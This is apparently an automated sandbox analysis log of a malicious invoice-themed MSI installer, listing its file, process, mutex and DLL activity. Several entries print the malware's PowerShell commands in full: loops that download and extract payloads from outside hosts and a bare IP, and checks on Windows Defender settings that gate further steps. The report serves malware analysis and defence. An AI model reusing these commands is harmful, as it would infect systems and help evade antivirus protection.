Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5C6353ED-1D1D-4B1D-98DF-773281977790}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI784.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI37FD.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4934.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6642.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI88DF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA495.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID51C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1543.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI63A3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB9E2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI29F2.tmp	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI697.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04EFB628	3_2_04EFB628
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04EFB619	3_2_04EFB619
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_08F03AB0	3_2_08F03AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0425BBD8	13_2_0425BBD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0425BBB0	13_2_0425BBB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_082E3AB0	13_2_082E3AB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B403065	17_2_00007FFD9B403065
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0344DD38	19_2_0344DD38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_087A49A0	19_2_087A49A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0497CFB0	28_2_0497CFB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0497CFA0	28_2_0497CFA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_0490CE60	36_2_0490CE60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_0490CE50	36_2_0490CE50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 41_2_0425B8D0	41_2_0425B8D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 41_2_0425B8C1	41_2_0425B8C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 41_2_08243AB0	41_2_08243AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 47_2_0098F278	47_2_0098F278

Source: classification engine

Classification label: mal100.troj.expl.evad.winMSI@87/220@18/10

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML490F.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6680:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSI60493.LOG

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: chrome.exe, 00000009.00000002.4159768269.00000168028F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: chrome.exe, 00000009.00000002.4159048589.000001680282C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT id FROM icon_mapping WHERE icon_id=?pH;

Source: Fatura931Pendente956.pdf761.msi	ReversingLabs: Detection: 15%
Source: Fatura931Pendente956.pdf761.msi	Virustotal: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura931Pendente956.pdf761.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss381D.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2060,i,12800759759220068023,3878427892193001850,262144 /prefetch:8
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4957.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8908.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA037.tmp" "c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA4C2.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD54C.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1566.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss63D8.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBA2A.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2A2E.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss381D.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4957.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8908.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA4C2.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD54C.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1566.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss63D8.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBA2A.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2A2E.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2060,i,12800759759220068023,3878427892193001850,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA037.tmp" "c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP"

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
